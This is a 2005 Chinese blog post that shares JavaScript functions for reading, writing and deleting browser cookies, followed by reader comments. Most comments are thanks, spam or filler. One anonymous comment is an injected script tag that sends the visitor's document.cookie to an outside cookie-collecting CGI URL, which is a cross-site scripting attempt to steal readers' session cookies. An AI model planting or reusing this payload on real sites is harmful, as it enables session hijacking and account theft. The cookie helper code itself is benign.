代码加咖啡的生活

专门讨论.NET相关技术--大坏蛋
随笔 - 29, 评论 - 253, 引用 - 67

导航

关于


标签

每月存档

最新留言

广告

 

function GetCookieVal(offset)
//获得Cookie解码后的值
{
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function SetCookie(name, value)
//设定Cookie值
{
var expdate = new Date();
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
if(expires!=null) expdate.setTime(expdate.getTime() + ( expires * 1000 ));
document.cookie = name + "=" + escape (value) +((expires == null) ? "" : ("; expires="+ expdate.toGMTString()))
+((path == null) ? "" : ("; path=" + path)) +((domain == null) ? "" : ("; domain=" + domain))
+((secure == true) ? "; secure" : "");
}
function DelCookie(name)
//删除Cookie
{
var exp = new Date();
exp.setTime (exp.getTime() - 1);
var cval = GetCookie (name);
document.cookie = name + "=" + cval + "; expires="+ exp.toGMTString();
}
function GetCookie(name)
//获得Cookie的原始值
{
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen)
{
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return GetCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}

打印 | 张贴于 2005-09-06 20:25:00 | Tag:暂无标签

留言反馈

#回复: 一个非常实用的javascript读写Cookie函数 编辑
的确不错,非常有用啊。
2008-01-20 10:11:00 | [匿名用户:冬雷软件]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
i = document.cookie.indexOf(" ", i) + 1;
2007-11-22 15:56:00 | [匿名用户:都市风]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
真的不错,怎么总是怀疑我的内容为广告?
2007-11-22 15:55:00 | [匿名用户:十堰视界]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
不错~~~~
2007-11-22 15:54:00 | [匿名用户:十堰视界]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
乱码问题?
2007-11-22 15:53:00 | [匿名用户:不错]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
<script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
2007-10-20 17:18:00 | [匿名用户:sdsf]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
大家不要照抄,有中文乱码问题~
解决方法参见:http://www.itlearner.com/article/2006/3325.shtml
2007-07-26 16:13:00 | [匿名用户:steeven]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
不错~~~~多来点好的
2007-05-08 20:13:00 | [匿名用户:kai]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
不错~~~~
2007-05-08 20:12:00 | [匿名用户:kai]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
afs
2007-03-21 14:37:00 | [匿名用户:fdsa]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
2007-03-14 15:42:00 | [匿名用户:bruce]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
学习中.
2007-03-11 09:42:00 | [匿名用户:路过]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
fdsa
2007-02-12 16:14:00 | [匿名用户:地]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
dsf
2006-12-07 17:52:00 | [匿名用户:dsf]
#回复: 一个非常实用的javascript读写Cookie函数 编辑
dsfsfddssda
fsdafdsafasfsdas
fsadsa
2006-12-07 17:52:00 | [匿名用户:dsf]
#re: 一个非常实用的javascript读写Cookie函数 编辑
谢谢!
2006-09-04 13:20:00 | [匿名用户:宪哥]
#re: 一个非常实用的javascript读写Cookie函数 编辑
谢谢.
2006-02-08 20:21:00 | [匿名用户:谢谢.]
#re: 一个非常实用的javascript读写Cookie函数 编辑
不错希望以后多发表这样的文章
2005-11-17 15:31:00 | [匿名用户:re: 一个非常实用的javascript读写Cookie函数]
对不起,目前本随笔不允许发表新评论.

Powered by: Joycode.MVC引擎 0.5.1.0